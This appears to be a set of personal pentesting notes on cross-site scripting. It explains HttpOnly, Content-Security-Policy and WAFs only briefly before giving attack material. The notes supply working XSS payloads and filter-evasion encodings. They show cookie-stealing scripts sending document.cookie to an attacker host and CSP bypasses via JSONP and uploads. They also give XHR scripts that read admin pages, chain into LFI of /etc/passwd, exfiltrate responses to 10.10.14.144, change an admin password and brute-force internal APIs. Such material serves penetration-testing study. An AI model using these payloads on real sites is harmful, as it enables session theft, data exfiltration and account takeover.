Defense Mechanisms#

When this attribute is set to True, JavaScript running cannot access cookie. Specifically, when calling document.cookie, it will just return nothing

Content-Security-Policy#

A CSP:

  • Is configured in the Content-Security-Policy response header
  • Consists of multiple directives. Each directive allows one or more values.

For instance, the script-src directive defines where JavaScript can be loaded and executed from:

Content-Security-Policy: script-src 'self' https://benignsite.htb

This CSP instructs the browser to load JavaScript only from the same origin as the page itself and the external origin https://benignsite.htb. Therefore, if an attacker injects the following JavaScript code in an XSS payload, the victim’s browser will not load the script and thus not execute it:

<script src="https://exploitserver.htb/pwn.js"></script>

However, the following scripts are allowed to load and execute:

<script src="/js/useful.js"></script>
<script src="https://benignsite.htb/main.js"></script>

Furthermore, since the unsafe-inline value is not specified, it blocks all inline scripts (scripts inside HTML). Therefore, the following potential XSS payloads are all blocked and thus not executed:

<script>alert(1)</script>
<img src=x onerror=alert(1) />
<a href="javascript:alert(1)">click</a>

Additionally, there are other common directives:

  • style-src: allowed origins for stylesheets
  • img-src: allowed origins for images
  • object-src: allowed origins for objects such as <object> or <embed>
  • connect-src: allowed origins for HTTP requests from scripts. For instance, using XMLHttpRequest
  • default-src: fallback value if a different directive is not explicitly set. For instance, if the img-src is not present in the CSP, the browser will use this value instead for images
  • frame-ancestors: origins allowed to frame the page, for instance, in an <iframe>. This directive can be used to prevent Clickjacking attacks
  • form-action: origins allowed for form submissions

For additional CSP directives, check out the list provided here.

Additional values for directives include:

  • *: All origins are allowed
  • 'none': No origins are allowed
  • *.benignsite.htb: All subdomains of benignsite.htb are allowed
  • unsafe-inline: Allow inline elements
  • unsafe-eval: Allow dynamic code evaluation, such as JavaScript’s eval function
  • sha256-407e1bf4a1472948aa7b15cafa752fcf8e90710833da8a59dd8ef8e7fe56f22d: Allow an element by hash
  • nonce-S0meR4nd0mN0nC3: Allow an element by nonce

For additional CSP directive values, check out the list provided here.

WAF#

a WAF ( Web application firewall) blocks certain request based on a list of rules. For example, if request contains the string ' OR 1=1-- - then block

It blocks certain words in certain places like <script> in the URL, or alert, etc.

Some are easy to bypass, some are hard

Attacks#

Here are some way you can execute JavaScript. A good overview is provided by PortSwigger’s XSS Cheat Sheet.

Script Tag

<script>alert(1)</script>

Pseudo Protocols

We can use pseudo-protocols such as javascript or data in certain HTML attributes that indicate where data is loaded from to achieve JavaScript code execution. For instance, we can set the target of an a tag to the javascript pseudo protocol, and the corresponding JavaScript code is executed when the link is clicked:

<a href="javascript:alert(1)">click</a>

We can also create XSS payloads with pseudo-protocols that do not require user interaction. For instance, using the object tag. The data pseudo protocol allows us to specify plain HTML code or base64-encoded HTML code:

<object data="javascript:alert(1)">
<object data="data:text/html,<script>alert(1)</script>">
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">

Event Handlers

Thirdly, we can use event handlers such as onload or onerror to specify JavaScript code that is executed when the event handler is triggered:

<img src=x onerror=alert(1)>
<svg onload=alert(1)>

Blind Injection

Open a web server

python3 -m http.server 80

Put this in every input field, remember to replace input_field with the name of input field so you know which one is vulnerable

  • <script> tag
'"><script src="http://OUR_IP/input_field"></script>
  • <img> tag
'"><img src="http://OUR_IP/input_field">

Then, you can use this to fetch javascript code from our own server without needing to post new payload everytime

'"><script src="http://OUR_IP/pwn.js"></script>

Session Hijack#

This attack is completely crippled by HttpOnly cookie attribute

Create pwn.js file on attack host

document.location='http://OUR_IP/index.php?c='+document.cookie;

Or this payload

new Image().src='http://OUR_IP/index.php?c='+document.cookie;

Or this <img> tag payload.

"><img src="bugdetails" onerror="new Image().src='http://OUR_IP/index.php?c='+document.cookie;">

Bypass Content-Security-Policy#

Suppose this is the CSP. It only allows js from the webapp or from google.com and every of its subdomains

Content-Security-policy: default-src 'self'; script-src 'self' https://*.google.com;

JSONP#

JSONP refers to a technique that retrieves data across different origins by using script tags to retrieve data across origins, as they are exempt from the Same-Origin Policy

The basic of this attack is, we will fetch a API endpoint where it is allowed in the CSP, like https://accounts.google.com/o/oauth2/revoke

{
  "error": "invalid_request",
  "error_description": "Bad Request"
}

If the API supports JSONP, it will read a GET parameter and adjust the response accordingly. This parameter is often called callback. Assume we call the endpoint https://accounts.google.com/o/oauth2/revoke?callback=alert(1). This results in the API sending the following response:

// API callback
alert(1)({
  "error": {
    "code": 400,
    "message": "Invalid JSONP callback name: 'alert(1)'; only alphabet, number, '_', '$', '.', '[' and ']' are allowed.",
    "status": "INVALID_ARGUMENT"
  }
});

So now we can just bypass CSP with this <script> tag

<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1)"></script>

Arbitrary File upload#

More on this on File Upload

We can just upload a js file like upload.pdf.js and call it

<script src="/uploads/upload.pdf.js"></script>

Bypass WAF#

Use OWASP’s XSS Filter Evasion Cheat Sheet. Furthermore, there are collections of XSS payloads for different types of filters. For instance, if we are unable to use any parentheses, we may refer to the XSS without Parentheses payload collection

Simple blacklist#

Suppose a web application implements a simple blacklist to block keywords. We can try a few things like the casing in HTML tags, pseudo-protocols, and event handlers

<ScRiPt>alert(1);</ScRiPt>
<object data="JaVaScRiPt:alert(1)">
<img src=x OnErRoR=alert(1)>

Furthermore, if it strips all <script> keyword but not recursively, we can bypass the filter with a payload similar to the following:

<scr<script>ipt>alert(1);</scr<script>ipt>

Lastly, if a blacklist expects a space before any event handler or an input field does not allow a space, the following payload may bypass the filter:

<svg/onload=alert(1)>
<script/src="https://exploit.htb/exploit"></script>

Encoding#

In JavaScript, we can apply many different encodings to strings that help us evade blacklists. Here are different encodings of the string "alert(1)":

# Unicode
"\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029"

# Octal Encoding
"\141\154\145\162\164\50\61\51"

# Hex Encoding
"\x61\x6c\x65\x72\x74\x28\x31\x29"

# Base64 Encoding
atob("YWxlcnQoMSk=")

To supply our payload in a string, we need to be able to use quotes. If a filter removes or blocks quotes, we can use one of the following tricks to create a string containing our payload:

# String.fromCharCode
String.fromCharCode(97,108,101,114,116,40,49,41)

# .source
/alert(1)/.source

# URL Encoding
decodeURI(/alert(%22xss%22)/.source)

And to execute those strings, we need to pass it into an execution sink, like eval()

eval("alert(1)")
setTimeout("alert(1)")
setInterval("alert(1)")
Function("alert(1)")()
[].constructor.constructor(alert(1))()

Like this:

eval("\141\154\145\162\164\50\61\51")
setTimeout(String.fromCharCode(97,108,101,114,116,40,49,41))
Function(atob("YWxlcnQoMSk="))()

Access Exclusive Endpoint#

You can fuzz subdirectories or files in the web server and use XSS to fetch what seems important. See if there is any function exclusive to admin for example

var xhr = new XMLHttpRequest();
xhr.open('GET', '/admin.php', true);
xhr.withCredentials = true;
xhr.onload = () => {
    var exfil = new XMLHttpRequest();
    exfil.open("POST", "https://10.10.14.144:4443/log", true);
    exfil.setRequestHeader("Content-Type", "application/json");
    exfil.send(JSON.stringify({data: btoa(xhr.responseText)}));
};
xhr.send();

Then you can chain it with another vulnerability, like LFI

var xhr = new XMLHttpRequest();
xhr.open('GET', '/admin.php?view=../../../../etc/passwd', true);
xhr.withCredentials = true;
xhr.onload = () => {
    var exfil = new XMLHttpRequest();
    exfil.open("POST", "https://10.10.14.144:4443/log", true);
    exfil.setRequestHeader("Content-Type", "application/json");
    exfil.send(JSON.stringify({data: btoa(xhr.responseText)}));
};
xhr.send();

Debug#

We can try to determine the error with a try-catch block. Notice that we set async to false in the line xhr.open('GET', '/admin.php', false)

try {
	var xhr = new XMLHttpRequest();
	xhr.open('GET', '/admin.php', false);
	xhr.withCredentials = true;
	xhr.send();
	var msg = xhr.responseText;
} catch (error) {
	var msg = error;
}

var exfil = new XMLHttpRequest();
exfil.open("POST", "https://10.10.14.144:4443/log", true);
exfil.setRequestHeader("Content-Type", "application/json");
exfil.send(JSON.stringify({data: btoa(msg)}));

Submitting Forms#

Say that there is a password change POST form that do not require to enter old password, but have CSRF token

We can just GET the page to get CSRF token, then do a POST with CSRF token and voila, account takeover

// GET CSRF token
var xhr = new XMLHttpRequest();
xhr.open('GET', '/home.php', false);
xhr.withCredentials = true;
xhr.send();
var doc = new DOMParser().parseFromString(xhr.responseText, 'text/html');
var csrftoken = encodeURIComponent(doc.getElementById('csrf_token').value);

// change PW
var csrf_req = new XMLHttpRequest();
var params = `username=admin&email=admin@vulnerablesite.htb&password=pwned&csrf_token=${csrftoken}`;
csrf_req.open('POST', '/home.php', false);
csrf_req.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
csrf_req.withCredentials = true;
csrf_req.send(params);

Directory brute-force#

var endpoints = ['access-token','account','accounts','amount','balance','balances','bar','baz','bio','bios','category','channel','chart','circular','company','content','contract','coordinate','credentials','creds','custom','customer','customers','details','dir','directory','dob','email','employee','event','favorite','feed','foo','form','github','gmail','group','history','image','info','item','job','link','links','location','log','login','logins','logs','map','member','members','messages','money','my','name','names','news','option','options','pass','password','passwords','phone','picture','pin','post','prod','production','profile','profiles','publication','record','sale','sales','set','setting','settings','setup','site','test','theme','token','tokens','twitter','union','url','user','username','users','vendor','vendors','version','website','work','yahoo'];

for (i in endpoints){
	try {
		var xhr = new XMLHttpRequest();
		xhr.open('GET', `https://api.internal-apis.htb/v1/${endpoints[i]}`, false);
		xhr.send();
		
		if (xhr.status != 404){
			var exfil = new XMLHttpRequest();
			exfil.open("POST", "https://10.10.14.144:4443/log", true);
			exfil.setRequestHeader("Content-Type", "application/json");
			exfil.send(JSON.stringify({data: btoa(endpoints[i])}));
		}
	} catch {
		// do nothing
	}
}